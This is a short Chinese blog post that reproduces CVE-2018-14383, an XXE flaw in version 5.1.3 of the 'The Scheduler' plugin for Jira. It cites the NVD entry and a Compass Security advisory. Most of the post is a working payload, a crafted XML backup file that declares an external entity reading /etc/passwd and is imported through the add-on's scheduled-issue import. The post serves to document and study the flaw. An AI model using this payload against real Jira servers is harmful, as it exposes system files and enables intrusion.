CVE-2018-14383：[jira] "The Scheduler" app 5.1.3 for Jira allows XXE

最新推荐文章于 2024-04-10 19:37:23 发布

caiqiiqi

最新推荐文章于 2024-04-10 19:37:23 发布

阅读量149

点赞数

分类专栏： java 安全 Web

本文链接：https://blog.csdn.net/caiqiiqi/article/details/99640633

版权

安全同时被 3 个专栏收录

264 篇文章 9 订阅

订阅专栏

Web

220 篇文章 7 订阅

订阅专栏

java

213 篇文章 3 订阅

订阅专栏

参考：
https://nvd.nist.gov/vuln/detail/CVE-2018-14383
https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-022_jira_plugin_the_scheduler.txt

安装插件：

在这里插入图片描述

引入xml文件

Administration > Add-ons > Import Scheduled Issues

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE Document [
	<!ENTITY c SYSTEM "/etc/passwd">
]>
<TheSchedulerBackup xmlns="http://www.tt.com.pl">
    <BackupInformation>
        <JiraVersion>7.7.0</JiraVersion>
        <PluginVersion>5.1.3</PluginVersion>
        <BackupVersion>2.0</BackupVersion>
        <BackupCreator>Administrator</BackupCreator>
        <BackupTime>Jun 19, 2018 11:55:11 AM</BackupTime>
        <ExportType>all</ExportType>
        <SkipDisabled>false</SkipDisabled>
        <SkipInvalid>false</SkipInvalid>
    </BackupInformation>
    <TheSchedulerData>
        <ScheduledIssueElement>
            <name>Compass Security Test</name>
[CUT]
            <ParamElement>
                <paramName>description</paramName>
                <paramValue>&c;</paramValue>
            </ParamElement>
[CUT]
        </ScheduledIssueElement>
    </TheSchedulerData>
</TheSchedulerBackup>